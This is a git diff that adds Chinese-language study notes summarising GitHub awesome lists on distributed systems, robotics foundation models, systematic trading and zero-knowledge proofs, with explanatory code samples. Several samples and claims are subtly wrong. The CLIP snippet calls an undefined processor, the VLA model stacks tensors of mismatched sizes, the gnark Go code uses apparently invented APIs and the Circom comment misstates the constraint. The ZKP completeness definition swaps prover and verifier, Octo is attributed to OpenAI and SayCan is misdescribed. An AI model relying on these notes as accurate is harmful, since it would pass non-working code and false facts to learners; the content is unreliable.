+演示当节点之间断网时，你必须在"一致性"和"可用性"之间做选择。
+"""
+
+class Node:
+    """一个节点，存储键值对"""
+    def __init__(self, node_id):
+        self.node_id = node_id
+        self.data = {}
+        self.is_connected = True  # 是否"在线"
+
+    def get(self, key):
+        # 离线时返回 None（表示不可用）
+        if not self.is_connected:
+            return None
+        return self.data.get(key)
+
+    def put(self, key, value):
+        if not self.is_connected:
+            return False
+        self.data[key] = value
+        return True
+
+    def sync(self, other_node):
+        # 两台节点"恢复连接"后，数据同步
+        if self.is_connected and other_node.is_connected:
+            # 简单合并：后写入的覆盖先写入的
+            other_node.data.update(self.data)
+            self.data.update(other_node.data)
+
+
+# --- 演示：选择可用性（AP）---
+node_a = Node("A")
+node_b = Node("B")
+
+# 两台都写入数据
+node_a.put("order_1", "已下单")
+node_b.put("order_2", "已发货")
+
+# 模拟网络分区：A 和 B 断开了
+node_a.is_connected = False
+node_b.is_connected = False
+
+# 此时仍然可以读写各自的本地数据（可用）
+print(node_b.get("order_2"))  # 输出: 已发货
+
+# 网络恢复后同步数据
+node_a.is_connected = True
+node_b.is_connected = True
+node_a.sync(node_b)
+
+# 现在两边数据一致了（最终一致性）
+print(node_a.get("order_2"))  # 输出: 已发货
+print(node_b.get("order_1"))  # 输出: 已下单
+```
+
+### 示例二：模拟一致性哈希（Consistent Hashing）
+
+这个列表提到的 Dynamo 论文中用到的核心技术——一致性哈希，是让数据均匀分布在多台机器上的方法。
+
+```python
+"""
+一致性哈希模拟。
+核心思想：当一台机器加入或离开集群时，只有少量数据需要迁移。
+"""
+import hashlib
+
+
+def consistent_hash(key, num_nodes=3):
+    """
+    把 key 映射到 [0, 255] 范围内的一个节点。
+    """
+    hash_val = int(hashlib.md5(key.encode()).hexdigest(), 16)
+    return hash_val % num_nodes
+
+
+def get_node_for_key(key, nodes):
+    """
+    给定一个 key 和一组节点，找到存储这个 key 的节点。
+    使用虚拟节点（vnode）让数据分布更均匀。
+    """
+    vnode_count = 150  # 每个物理节点有 150 个虚拟节点
+    ring = {}
+
+    # 构建哈希环
+    for node in nodes:
+        for i in range(vnode_count):
+            vnode_key = f"{node}:vnode{i}"
+            hash_val = int(hashlib.md5(vnode_key.encode()).hexdigest(), 16)
+            ring[hash_val] = node
+
+    # 排序哈希环
+    sorted_rings = sorted(ring.keys())
+
+    # 找到 key 对应的哈希值
+    key_hash = int(hashlib.md5(key.encode()).hexdigest(), 16)
+
+    # 在环上顺时针找到第一个节点
+    for ring_hash in sorted_rings:
+        if key_hash <= ring_hash:
+            return ring[ring_hash]
+
+    # 绕回环的开头
+    return ring[sorted_rings[0]]
+
+
+# --- 演示 ---
+nodes = ["server-1", "server-2", "server-3"]
+keys = [f"item_{i}" for i in range(20)]
+
+# 每台服务器上的数据
+distribution = {node: [] for node in nodes}
+for key in keys:
+    target = get_node_for_key(key, nodes)
+    distribution[target].append(key)
+
+# 看数据分布
+for node, items in distribution.items():
+    print(f"{node}: {len(items)} 个数据项")
+```
+
+输出示例：
+```
+server-1: 7 个数据项
+server-2: 6 个数据项
+server-3: 7 个数据项
+```
+
+> 日常类比：把糖果分给三个小朋友。一致性哈希就像是给每个糖果编一个号码，再给每个小朋友分配一段"号码区间"。加一个新小朋友时，只需要重新分配他区间内的糖果，其他小朋友的糖果不用动。
+
+## 必读资源推荐
+
+这个列表按类别整理了大量学习资源，对初学者来说，建议按以下顺序阅读：
+
+1. **入门必读（Bootcamp 部分）**：CAP 定理、五大谬误、FLP 不可能结果
+2. **免费书籍**：《Distributed Systems for Fun and Profit》、《Scalable Web Architecture and Distributed Systems》
+3. **经典论文**：Dynamo、Google File System、BigTable、Paxos、Raft
+4. **视频课程**：MIT 6.824（YouTube 上有完整播放列表）
+
+## 总结
+
+这个 awesome 列表的核心价值在于它帮你省去了"从哪开始学"的摸索时间。分布式系统的知识体系很庞大，从理论（Paxos、Raft）到工程（Kafka、ZooKeeper），从论文到代码。建议先从 CAP 定理和五大谬误开始，建立"分布式系统一定会出错"的直觉，然后再逐步深入。
+
+---
+
+*来源: https://github.com/theanalyst/awesome-distributed-systems*
+*日期: 2026-06-13*
diff --git a/src/content/docs/projects/awesome-robotics-fm.md b/src/content/docs/projects/awesome-robotics-fm.md
new file mode 100644
index 000000000..7dd4bac89
--- /dev/null
+++ b/src/content/docs/projects/awesome-robotics-fm.md
@@ -0,0 +1,283 @@
+---
+title: Awesome-Generalist-Robots-via-Foundation-Models — 机器人基础模型论文清单
+来源: 'https://github.com/JeffreyYH/Awesome-Generalist-Robots-via-Foundation-Models'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这个仓库是一份**学术论文清单**，来自一篇综述文章 *"Toward General-Purpose Robots via Foundation Models: A Survey and Meta-Analysis"*（arXiv:2312.08782）。
+
+日常类比：想象你想了解"全世界有哪些餐厅"，但不想一家家去试。这份清单就像一本**餐厅黄页**——把近几百篇相关论文按"做什么菜"（感知 / 规划 / 动作生成 / 训练数据生成 / 世界建模）和"用什么厨师"（模仿学习 / 强化学习）分好了类。你不需要全读，挑感兴趣的进去就行。
+
+核心问题：能不能训练一个"万能模型"，让机器人像人一样——听到"把桌上那杯红色的水拿给我"，就知道怎么找杯子、怎么走过去、怎么伸手抓、怎么递过来？这份清单收录了所有尝试回答这个问题的研究。
+
+## 为什么重要
+
+不理解这个方向，下面这些事都没法解释：
+
+- 为什么 Boston Dynamics 的机器人突然从"按程序跳舞"变成"能听懂人话干活"
+- 为什么 Google 的 RT-1 / RT-2、OpenAI 的 Octo、Physical Intelligence 的 π0 接连发布——它们都在追同一个目标
+- 为什么"大语言模型（LLM）"和"机器人"这两个原本不相干的领域，现在被论文大量地绑在一起讨论
+- 为什么"基础模型（Foundation Model）"这个词从 AI 圈蔓延到了物理世界
+
+## 核心概念
+
+### 概念 1：什么是"基础模型"
+
+基础模型 = **在超大量数据上学到的通用模型**，可以"零样本迁移"到各种下游任务。
+
+- LLM（如 GPT）：读过互联网上几乎所有文字 → 能写诗、翻译、回答问题
+- VLM（如 CLIP）：看过数十亿张图片 → 能理解"图片里有什么文字描述的东西"
+- 基础模型搬到机器人身上 → 想让机器人在物理世界里也有这种"一通百通"的能力
+
+### 概念 2：两大类研究路线
+
+仓库把论文分成两大阵营：
+
+| 路线 | 做法 | 代表论文 |
+|------|------|----------|
+| **用现成 FM 赋能机器人模块** | 把已有的 LLM / VLM 拿来，塞进机器人的某个环节（感知 / 规划 / 动作生成） | SayCan、CLIPort、LM-Nav |
+| **从头训练机器人专用 FM** | 从零训练一个专门管机器人的基础模型（VLA = Vision-Language-Action） | RT-1、RT-2、Octo、π0 |
+
+第一类像"给汽车装 GPS"——车还是原来的车，加个导航就聪明了。第二类像"造一辆天生会导航的车"——从设计图纸就开始考虑智能驾驶。
+
+### 概念 3：VLA（Vision-Language-Action）模型
+
+这是当前最热的方向。VLA = **视觉 + 语言 + 动作** 三个模态一起学：
+
+- 眼睛看（视觉）→ 大脑理解（语言）→ 手脚动（动作）
+- 输入：摄像头画面 + 人类指令（如"拿起苹果"）
+- 输出：机械臂关节的角度 / 轮子的转速
+
+## 代码示例
+
+### 示例 1：用 CLIP 做开放词汇感知（第一类路线）
+
+CLIP 是最早的视觉-语言基础模型之一。在机器人里，它被用来"看懂"从未见过的物体——只要你能用语言描述它。
+
+```python
+import torch
+from transformers import CLIPProcessor, CLIPModel
+
+# 加载预训练的 CLIP 模型（已经在 3 亿张图片+文字对上训练过）
+model = CLIPModel.from_pretrained("openai/clip-vit-base-patch32")
+processor = CLIPProcessor.from_pretrained("openai/clip-vit-base-patch32")
+
+# 假设机器人摄像头拍到一张图片
+image = image_processor(images=camera_capture, return_tensors="pt")
+
+# 用自然语言描述你想找的物体
+text = processor(text=["a red cup", "a blue spoon", "a white plate"], return_tensors="pt")
+
+# CLIP 算出图片和文字的匹配程度
+outputs = model(**image, **text)
+logits_per_image = outputs.logits_per_image  # 形状: [1张图片, 3个文字描述]
+probs = logits_per_image.softmax(dim=-1)
+
+# 输出类似: tensor([[0.85, 0.10, 0.05]])
+# 意思是：这张图有 85% 概率是"a red cup"
+```
+
+**逐部分解释**：
+
+- `from_pretrained` 加载的是一个"见过 3 亿张图"的大脑——你不需要再训练
+- `logits_per_image` 算的是"这张图和每句话有多匹配"
+- 因为 CLIP 见过各种各样的红色杯子，所以即使机器人之前从没拍过"这种款式的红杯子"，也能认出来——这就是**开放词汇（open-vocabulary）**的力量
+
+### 示例 2：RT-1 风格的 VLA 策略（第二类路线）
+
+RT-1（Robotics Transformer-1）是 Google 的开创性工作。它把摄像头画面、机械臂状态、人类指令全部拼在一起，用一个 Transformer 直接输出机械臂的动作。
+
+```python
+import torch
+import torch.nn as nn
+
+class SimpleVLAModel(nn.Module):
+    """简化版的 RT-1 架构——展示核心思想"""
+    def __init__(self, img_dim=768, lang_dim=768, action_dim=7, hidden_dim=1024):
+        super().__init__()
+        # 视觉编码器：把摄像头图片压缩成向量
+        self.visual_encoder = nn.Linear(img_dim, hidden_dim)
+        # 语言编码器：把文字指令压缩成向量
+        self.lang_encoder = nn.Linear(lang_dim, hidden_dim)
+        # Transformer 层：让视觉和语言"对话"
+        self.transformer = nn.TransformerEncoderLayer(d_model=hidden_dim, nhead=8)
+        # 动作头：从融合后的向量预测机械臂动作（7 个关节角度）
+        self.action_head = nn.Linear(hidden_dim, action_dim)
+
+    def forward(self, image_feat, text_feat, prev_actions):
+        # image_feat: [batch, img_dim]  -- 摄像头提取的特征
+        # text_feat:  [batch, lang_dim]  -- 文字指令的嵌入向量
+        # prev_actions: [batch, action_dim] -- 上一次的动作（用于时序连贯）
+
+        # 1) 把视觉和语言分别映射到同一维度
+        v = self.visual_encoder(image_feat)   # [batch, hidden]
+        t = self.lang_encoder(text_feat)      # [batch, hidden]
+
+        # 2) 拼在一起，加上上一帧动作
+        x = torch.stack([v, t, prev_actions], dim=1)  # [batch, 3, hidden]
+
+        # 3) Transformer 让三个信号互相注意
+        x = self.transformer(x)  # [batch, 3, hidden]
+
+        # 4) 取最后一个位置 → 预测动作
+        action = self.action_head(x[:, -1, :])  # [batch, 7]
+        return action
+
+# 使用示例：
+# batch_size = 32
+# model = SimpleVLAModel()
+# img_feats = torch.randn(batch_size, 768)       # 从 CLIP 等视觉编码器来
+# txt_feats = torch.randn(batch_size, 768)        # 从 GPT 等语言编码器来
+# prev_act = torch.randn(batch_size, 7)           # 上一帧的机械臂动作
+# predicted_action = model(img_feats, txt_feats, prev_act)
+# print(predicted_action.shape)  # torch.Size([32, 7]) -- 7 个关节的目标角度
+```
+
+**逐部分解释**：
+
+- **视觉编码器**：把原始像素压缩成 768 维向量——可以用 CLIP、DINO 等预训练模型，不需要从头学
+- **语言编码器**：把"拿起那个红色的杯子"变成向量——可以用任何预训练 LLM
+- **Transformer 层**：核心设计——让"看到的"和"听到的"互相注意。比如文字说"红色的"，Transformer 就会更关注图像中红色区域
+- **动作头**：输出 7 个数字，对应机械臂 7 个关节的目标角度——这是机器人真正"动起来"的部分
+
+### 示例 3：用语言模型做任务规划（SayCan 思路）
+
+SayCan 的核心想法：让 LLM 当"大脑"做高层规划，让传统控制器当"小脑"执行低层动作。
+
+```python
+# 伪代码——展示 SayCan 的"语言驱动决策"思想
+
+import numpy as np
+
+# 预定义机器人能做的原子动作（affordances）
+atomic_actions = [
+    "grasp_object",    # 抓取物体
+    "lift_arm",         # 抬升机械臂
+    "move_to_location", # 移动到某位置
+    "place_object",     # 放置物体
+    "open_drawer",      # 拉开抽屉
+]
+
+# LLM 的 prompt：告诉它当前任务和可用动作
+prompt = """
+任务：把桌上的苹果放进冰箱。
+机器人可以做以下动作：
+""" + "\n".join(f"- {a}" for a in atomic_actions) + """
+
+请为每个动作标注它与任务的匹配度（0.0-1.0），格式：
+action,confidence
+"""
+
+# 调用 LLM（实际项目中用 OpenAI API 等）
+llm_response = call_llm(prompt)
+# 假设 LLM 返回：
+# grasp_object,0.9
+# move_to_location,0.85
+# lift_arm,0.7
+# place_object,0.6
+# open_drawer,0.1
+
+# 解析 LLM 的输出
+plan = parse_llm_output(llm_response)
+
+# 关键步骤：CLIP 算出每个动作在当前场景中的"可行性分数"
+# 比如虽然 LLM 说"抓物体"很重要，但如果摄像头没看到手够得到的物体，CLIP 会给低分
+clip_scores = {}
+for action in atomic_actions:
+    scene_text = f"a robot arm {action}"
+    clip_score = compute_clip_similarity(camera_image, scene_text)
+    clip_scores[action] = clip_score
+
+# 最终决策 = LLM 的意图 × CLIP 的可行性
+final_scores = {}
+for action in atomic_actions:
+    llm_conf = plan.get(action, 0.0)
+    final_scores[action] = llm_conf * clip_scores[action]
+
+# 选最高分的动作执行
+best_action = max(final_scores, key=final_scores.get)
+execute(best_action)
+```
+
+**逐部分解释**：
+
+- LLM 理解"把苹果放进冰箱"意味着什么——它知道要先"抓"再"移动"再"放"
+- 但 LLM 不知道"现在手能不能够到苹果"——这需要 CLIP 看摄像头来判断
+- 两者相乘：LLM 给方向，CLIP 给现实感——这就是 SayCan 的名字由来（Do As I Can, Not As I Say）
+
+## 知识地图
+
+这份仓库的论文分类可以画成这样：
+
+```
+面向通用机器人的基础模型
+│
+├── 用现成基础模型赋能机器人模块
+│   ├── 感知（Perception）—— 让机器人"看得懂"
+│   │   CLIPort, LM-Nav, VLMap, ConceptFusion, HomeRobot, AnyLoc...
+│   ├── 任务规划（Task Planning）—— 让机器人"想得清"
+│   │   SayCan, Code as Policies, VIMA, TidyBot, RoboTool, ReKep...
+│   ├── 动作生成（Action Generation）—— 让机器人"动得准"
+│   │   SayTap, VoxPoser, Eureka, Manipulate-Anything...
+│   ├── 训练数据生成（Training Data Generation）—— 让机器人"学得更多"
+│   │   CACTI, ROSIE, GenSim, RoboGen, UniSim...
+│   └── 世界建模（World Modeling）—— 让机器人"想象后果"
+│       Gen2Act, NWM, RIGVid, NovaFlow, PhysWorld...
+│
+└── 通用机器人基础模型（从头训练）
+    ├── 模仿学习路线（Imitation Learning）—— 看人干活然后学
+    │   GATO, RT-1, RT-2, RT-X, Octo, OpenVLA, π0, π0.5, GEN-0...
+    └── 强化学习路线（Reinforcement Learning）—— 自己试错然后学
+        Q-Transformer, HOVER, BFM-Zero
+```
+
+## 关键论文速览
+
+### 第一类：用现成 FM
+
+- **CLIPort (2021)**：把 CLIP 的视觉理解和运输网络（Transporter Network）结合，让机器人能根据"把红色杯子放到盘子右边"这样的指令操作
+- **SayCan (2022)**：LLM 做意图 + CLIP 做可行性，解决"语言说可以做但物理上做不了"的问题
+- **Code as Policies (2022)**：让 LLM 直接生成 Python 代码作为机器人策略——代码就是控制策略
+- **TidyBot (2023)**：个性化家务机器人，用 LLM 做个性化整理，记住主人的物品摆放习惯
+- **RoboGen (2023)**：用生成式 AI 自动生成无限多的机器人仿真训练场景——解决"训练数据不够"的瓶颈
+
+### 第二类：机器人专用 FM
+
+- **RT-1 (2022)**：Google 的开创性工作。用 13 万个真实机器人轨迹训练 Transformer，第一次证明"一个大模型可以控制多种任务"
+- **RT-2 (2023)**：把 Web 上的视觉-语言知识转移到机器人控制——模型见过互联网上的所有图片，所以看到没见过的物体也能推断用法
+- **Octo (2023)**：开源版本。在 80 万条轨迹上训练，支持多种不同形态的机器人
+- **OpenVLA (2024)**：开源 VLA 模型，基于 Llama 做语言底座，可商用
+- **π0 (2024)**：Physical Intelligence 出品。用"流匹配（flow matching）"代替传统 Transformer，训练更快、泛化更强
+- **π0.5 (2025)**：π0 的升级版，加入开放世界泛化能力——没见过的环境也能处理
+- **GEN-0 (2025)**：Generalist AI 公司的报告。随着物理交互数据增多，模型能力持续扩展——验证了"缩放定律"在机器人领域同样成立
+
+## 踩过的坑
+
+1. **仿真到现实的鸿沟（Sim2Real）**：很多论文在 Mujoco / Isaac Gym 里表现完美，上真机器人就崩——仓库筛选条件明确要求"真实机器人 / 高保真仿真 / 真实数据集"，就是为了过滤掉纯仿真的工作
+
+2. **LLM 太慢了**：GPT-4 推理一次要几秒，机器人控制需要毫秒级响应——所以 RT-1 / RT-2 用蒸馏后的专用小模型，而不是直接调 API
+
+3. **动作接地（Action Grounding）**：LLM 知道"拿起杯子"，但不知道"关节角度应该变成多少"——这就是为什么 VLA 模型要把语言空间映射到动作空间
+
+4. **数据稀缺**：真实机器人数据采集成本高、速度慢——催生了 RoboGen、GenSim 等"用 AI 生成训练数据"的方向
+
+## 学到什么
+
+1. **机器人正在从"专用"走向"通用"**——以前的机器人只会拧螺丝，未来的机器人能听懂人话、看懂环境、完成各种任务
+2. **LLM 不只是聊天机器人**——它可以做规划、生成代码、生成训练数据、甚至生成仿真世界
+3. **VLA 是当前的主流范式**——视觉 + 语言 + 动作一起学，是目前最有希望通向通用机器人的路径
+4. **数据是最大瓶颈**——真实机器人数据太贵太少，所以"用 AI 生成数据"和"跨机器人共享数据"（如 RT-X）变得极其重要
+
+## 延伸阅读
+
+- 综述原文：[Toward General-Purpose Robots via Foundation Models: A Survey and Meta-Analysis](https://arxiv.org/abs/2312.08782)（arXiv:2312.08782）
+- RT-1 论文：[Robotics Transformer for Real-World Control at Scale](https://arxiv.org/abs/2212.06817)
+- RT-2 论文：[Vision-Language-Action Models Transfer Web Knowledge to Robotic Control](https://robotics-transformer2.github.io/)
+- Octo 论文：[An Open-Source Generalist Robot Policy](https://octo-models.github.io/)
+- π0 论文：[A Vision-Language-Action Flow Model for General Robot Control](https://arxiv.org/abs/2410.24164)
+- [Awesome-LLM-Robotics](https://github.com/GT-RIPL/Awesome-LLM-Robotics) — 另一个相关论文清单，更偏重 LLM + 机器人
diff --git a/src/content/docs/projects/awesome-systematic-trading.md b/src/content/docs/projects/awesome-systematic-trading.md
new file mode 100644
index 000000000..061bde5a1
--- /dev/null
+++ b/src/content/docs/projects/awesome-systematic-trading.md
@@ -0,0 +1,174 @@
+---
+title: "awesome-systematic-trading 学习笔记"
+来源: "https://github.com/edarchimbaud/awesome-systematic-trading"
+日期: "2026-06-13"
+分类: 其他
+子分类: 量化金融
+provenance: "pipeline-v3"
+---
+
+# awesome-systematic-trading 学习笔记
+
+## 一、这是什么？
+
+想象你想到图书馆学做饭，但图书馆没有分类，所有书散落在地上。awesome-systematic-trading 就是给"量化交易"这个领域做一次系统分类的书单整理者。
+
+它由 edarchimbaud 维护，托管在 GitHub 上，目前已经被 Star 超过 8400 次。内容涵盖四大块：
+
+- **97 个库和工具包** — 回测、实盘、指标计算、机器学习等
+- **40+ 个策略** — 由学术论文提出，附带夏普比率、波动率等回测数据
+- **55 本书** — 从零基础到专业量化
+- **23 个视频 + 博客 + 课程**
+
+核心网址：https://github.com/edarchimbaud/awesome-systematic-trading
+
+## 二、核心概念：什么是"系统交易"？
+
+**日常类比**：以前炒股靠"感觉"——"我觉得今天要涨"。系统交易（也叫量化交易）则是把"感觉"变成"规则"。
+
+比如一条规则可以是：
+
+> "如果某只股票的价格超过它过去 20 天的平均值，就买入；如果低于平均值 2%，就卖出。"
+
+这条规则写进代码后，计算机可以 24 小时不间断地执行，不感情用事，不手软。这就是"系统化"。
+
+系统交易的三个核心步骤：
+
+1. **提出假设** — 比如"涨多了会回调"
+2. **回测验证** — 用过去 10 年的数据跑一遍，看这假设是不是真管用
+3. **实盘部署** — 用小资金试运行，确认没问题再放大
+
+## 三、两大回测框架类型
+
+awesome-systematic-trading 把回测工具分成两类，理解这个区分很重要。
+
+### 3.1 事件驱动框架（Event Driven）
+
+**类比**：像一个真实交易员的操作过程——每来一笔新数据（一条成交记录），就检查一遍"要不要交易"。
+
+代表库：**backtrader**、**zipline**、**QuantConnect Lean**
+
+### 3.2 向量化框架（Vector Based）
+
+**类比**：不像真实交易员逐笔处理，而是直接把一整年的数据拿过来，用矩阵运算一次性算完。快得多，但不够"真实"。
+
+代表库：**vectorbt**、**pysystemtrade**（Rob Carver 的书配套实现）
+
+## 四、代码示例
+
+### 示例 1：用 backtrader 写一个简单的双均线策略
+
+```python
+import backtrader as bt
+
+class DualMACross(bt.Strategy):
+    # 参数：快线周期10天，慢线周期30天
+    params = (('fast_period', 10), ('slow_period', 30))
+
+    def __init__(self):
+        # 计算两条均线
+        self.fast_ma = bt.indicators.SMA(self.data.close, period=self.p.fast_period)
+        self.slow_ma = bt.indicators.SMA(self.data.close, period=self.p.slow_period)
+        # 交叉信号：快线上穿慢线为1，下穿为-1
+        self.crossover = bt.indicators.CrossOver(self.fast_ma, self.slow_ma)
+
+    def next(self):
+        if self.crossover > 0:
+            # 金叉：买入
+            self.buy()
+        elif self.crossover < 0:
+            # 死叉：卖出
+            self.sell()
+
+# 运行回测
+cerebro = bt.Cerebro()
+cerebro.addstrategy(DualMACross)
+data = bt.feeds.YahooFinanceData(dataname='AAPL', fromdate='2020-01-01', todate='2024-01-01')
+cerebro.adddata(data)
+cerebro.broker.setcash(100000)
+cerebro.run()
+print(f'最终资金: {cerebro.broker.getvalue():.2f}')
+```
+
+这段代码做的事情就是前面说的"双均线策略"：短期均线上穿长期均线时买入，下穿时卖出。backtrader 负责处理数据加载、资金管理、订单执行等所有杂事。
+
+### 示例 2：用 vectorbt 快速测试 1000 种参数组合
+
+```python
+import vectorbt as vbt
+import pandas as pd
+
+# 假设 prices 是某个资产的历史价格序列（Series 格式）
+# 快速计算不同参数组合的 Sharpe 比率
+fast_periods = range(5, 30)
+slow_periods = range(30, 60)
+
+results = {}
+for fast in fast_periods:
+    for slow in slow_periods:
+        if fast >= slow:
+            continue
+        # 生成买卖信号
+        fast_ma = vbt.MA.run(prices, fast, short_name='fast')
+        slow_ma = vbt.MA.run(prices, slow, short_name='slow')
+        # 金叉买入，死叉卖出
+        entries = fast_ma.ma_crossed_above(slow_ma)
+        exits = fast_ma.ma_crossed_below(slow_ma)
+        # 回测
+        port = vbt.Portfolio.from_signals(prices, entries=entries, exits=exits)
+        results[(fast, slow)] = port.sharpe
+
+# 找出最优参数
+best = max(results, key=results.get)
+print(f'最优参数: 快线={best[0]}天, 慢线={best[1]}天, Sharpe={results[best]:.3f}')
+```
+
+这个例子展示了向量化框架的威力——不需要逐日模拟订单，而是直接对整段数据进行矩阵运算。你可以几秒钟内测试几百种参数组合，这在事件驱动框架中需要跑很久。
+
+## 五、精选策略一览
+
+该仓库整理了 40+ 篇学术论文中的策略，以下是按夏普比率排序的几个代表性策略：
+
+| 策略名称 | 夏普比率 | 再平衡频率 | 一句话解释 |
+|---------|---------|-----------|----------|
+| 资产增长效应 | 0.835 | 年度 | 买入资产增长慢的公司，卖出增长快的 |
+| 股票短期反转 | 0.816 | 周度 | 短期跌太猛的股票，接下来会反弹 |
+| 比特币日内季节性 | 0.892 | 日内 | 比特币在一天中某些时段倾向于上涨 |
+| 趋势跟踪 | 0.569 | 每日 | "顺势而为"——涨了就买，跌了就卖 |
+| 价值因子（账面市值比） | 0.526 | 月度 | 买便宜的股票（市净率低），卖贵的 |
+| 低波动率效应 | 0.717 | 月度 | 波动小的股票长期收益反而更高 |
+
+**最值得入门的策略：趋势跟踪（Trend-following）**。它的核心思想最简单——"追涨杀跌"，而且跨越多个市场（股票、商品、外汇）都有效。
+
+## 六、工具链全景
+
+做一个量化系统，一般需要以下组件：
+
+1. **数据源** — 获取历史行情和基本面数据（如 Yahoo Finance、Alpha Vantage）
+2. **回测框架** — backtrader、vectorbt、zipline 等
+3. **因子计算** — pandas、ta-lib 等计算技术指标
+4. **机器学习** — scikit-learn、TensorFlow、PyTorch 等
+5. **实盘执行** — 通过券商 API（如 Interactive Brokers、Alpaca）下单
+
+awesome-systematic-trading 把这每一步的工具都整理好了，你不需要从零造轮子。
+
+## 七、学习路径建议
+
+作为一个零基础的初学者，建议按以下顺序推进：
+
+1. **先读书** — 《Systematic Trading》by Robert Carver（中文译名《系统交易》），这本书配套的 pysystemtrade 就在该仓库中
+2. **跑通一个回测** — 用 backtrader 把示例 1 的双均线策略跑起来，看到数字比"感觉"可靠
+3. **理解一个策略** — 从仓库中的"趋势跟踪"策略论文开始，理解它的逻辑
+4. **写自己的策略** — 在示例基础上修改参数，观察回测结果变化
+
+## 八、关键提醒
+
+- **回测不等于实盘**。任何回测结果都有"过拟合"风险——你可能只是恰好找到了一组在过去有效、未来无效的参数
+- **注意交易成本**。很多论文回测不考虑手续费和滑点，实盘中这些会吃掉大量利润
+- **风险管理比策略更重要**。即使是最简单的策略，配合严格的仓位管理，也能活下来；最好的策略没有风控，一次大跌就归零
+
+## 九、延伸阅读
+
+- 论文与策略的完整实现：https://paperswithbacktest.com
+- 配套课程：https://paperswithbacktest.com/course
+- Rob Carver 的《Systematic Trading》一书是该仓库中 pysystemtrade 库的理论基础
diff --git a/src/content/docs/projects/awesome-zk-proofs.md b/src/content/docs/projects/awesome-zk-proofs.md
new file mode 100644
index 000000000..702e77d69
--- /dev/null
+++ b/src/content/docs/projects/awesome-zk-proofs.md
@@ -0,0 +1,164 @@
+---
+title: "零知识证明学习笔记"
+来源: "https://github.com/matter-labs/awesome-zero-knowledge-proofs"
+日期: "2026-06-13"
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: "pipeline-v3"
+---
+
+# 零知识证明学习笔记
+
+## 什么是零知识证明？
+
+零知识证明（Zero-Knowledge Proof, ZKP）是一种加密方法，它允许一方（证明者）向另一方（验证者）证明某个陈述是真的，而**不透露任何额外信息**。
+
+### 日常类比：神秘的彩色球
+
+想象你有两个球，一个红色、一个蓝色。你想向你的朋友证明这两个球颜色不同，但又不想告诉他哪个是红的、哪个是蓝的。
+
+你可以这样做：把两个球分别握在左右手中，让他随机选择"换"或"不换"。如果他猜对了球的摆放位置，你把球收回重新随机放置，再来一轮。重复多次后，如果他每次都能猜对，他就不得不相信这两个球确实颜色不同——但他始终不知道哪个球是哪个颜色。
+
+这就是零知识证明的核心思想：**证明某件事为真，同时不泄露任何秘密**。
+
+## 核心概念
+
+### 三个基本属性
+
+1. **完备性**（Completeness）：如果陈述是真的，诚实的验证者通常能说服证明者
+2. **合理性**（Soundness）：如果陈述是假的，欺骗者无法说服诚实的验证者
+3. **零知识性**（Zero-Knowledge）：验证者除了"陈述为真"这个事实外，学不到任何东西
+
+### 零知识证明家族的主要成员
+
+awesome-zero-knowledge-proofs 仓库整理了几大类 ZKP 系统：
+
+| 类型 | 全称 | 证明大小 | 验证速度 | 需要可信设置 | 抗量子 |
+|------|------|---------|---------|------------|-------|
+| zk-SNARK | Succinct Non-interactive ARguments of Knowledge | ~200 字节 | ~O(1) | 需要 | 否 |
+| zk-STARK | Scalable Transparent ARguments of Knowledge | ~45 KB | poly-log | 不需要 | 是 |
+| Bulletproofs | — | ~1.5 KB | O(N) | 不需要 | 否 |
+
+### zk-SNARK
+
+全称是 **S**uccinct **N**on-interactive **AR**guments of **K**nowledge（简洁的非交互知识论证）。
+
+- 证明非常短（约 200 字节）
+- 验证极快（常数时间）
+- 需要一次性的"可信设置"（trusted setup），如果设置过程中产生的"有毒废料"被泄露，就能伪造证明
+- 不抗量子计算
+
+### zk-STARK
+
+全称是 **S**uccinct (**S**calable) **T**ransparent **AR**guments of **K**nowledge（简洁的可扩展透明知识论证）。
+
+- 不需要可信设置，所以更"透明"
+- 抗量子计算攻击
+- 证明比 SNARK 大（约 45KB）
+- 基于哈希函数，安全性假设更少
+
+## 代码示例
+
+### 示例一：用 Circom 编写一个简单的算术电路
+
+Circom 是一种用于编写零知识证明电路的领域特定语言。下面这个例子证明你知道两个数相乘的结果，但不需要告诉别人这两个数是什么：
+
+```circom
+// 证明者知道 a * b = c，但不泄露 a 和 b
+template MultiplyCircuit() {
+    // 信号：电路中的变量
+    signal input secretA;  // 秘密输入：a
+    signal input secretB;  // 秘密输入：b
+    signal output publicC; // 公开输出：c = a * b
+
+    // 约束：secretA * secretA = publicC
+    secretA * secretB === publicC;
+}
+
+// 实例化电路
+component main = MultiplyCircuit();
+```
+
+这段电路的意思是：我证明我知道两个数 `secretA` 和 `secretB`，它们的乘积等于 `publicC`。验证者能看到 `publicC` 的值，但看不到 `secretA` 和 `secretB`。
+
+### 示例二：用 gnark（Go 语言）生成和验证证明
+
+gnark 是 Go 语言中流行的 ZKP 库：
+
+```go
+package main
+
+import (
+    "fmt"
+    "github.com/consensys/gnark-crypto/ecc"
+    "github.com/consensys/gnark/backend/groth16"
+    "github.com/consensys/gnark/constraint/r1cs"
+    "github.com/consensys/gnark/frontend"
+)
+
+// 电路：知道 x 使得 hash(x) == y
+type AnonymousCircuit struct {
+    Secret frontend.Secret `gnark:"secret"`
+    Pub    frontend.Public   `gnark:"pub"`
+}
+
+// Define 定义电路逻辑
+func (c *AnonymousCircuit) Define(api frontend.API) error {
+    // 计算 secret 的哈希
+    hashed := api.SHA256(c.Secret)
+    // 约束：哈希值必须等于公开输出
+    api.AssertIsEqual(hashed, c.Pub)
+    return nil
+}
+
+func main() {
+    // 1. 编译电路
+    circuit := new(AnonymousCircuit)
+    cs, _ := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
+
+    // 2. 设置（生成证明者密钥和验证者密钥）
+    pk, vk, _ := groth16.Setup(cs)
+
+    // 3. 创建赋值（证明者知道 secret = "my-hidden-value"）
+    assignment := AnonymousCircuit{
+        Secret: "my-hidden-value",
+        Pub:    [32]byte{ /* SHA256 of "my-hidden-value" */ },
+    }
+
+    // 4. 生成证明
+    proof, _ := groth16.Prove(cs, pk, assignment)
+
+    // 5. 验证证明
+    publicAssignment := AnonymousCircuit{Pub: assignment.Pub}
+    err := groth16.Verify(proof, vk, publicAssignment)
+    fmt.Println("验证结果:", err == nil) // true
+}
+```
+
+这段代码展示了完整的 ZKP 流程：定义电路 → 设置密钥 → 生成证明 → 验证证明。整个过程不泄露 `Secret` 的值。
+
+## 实际应用
+
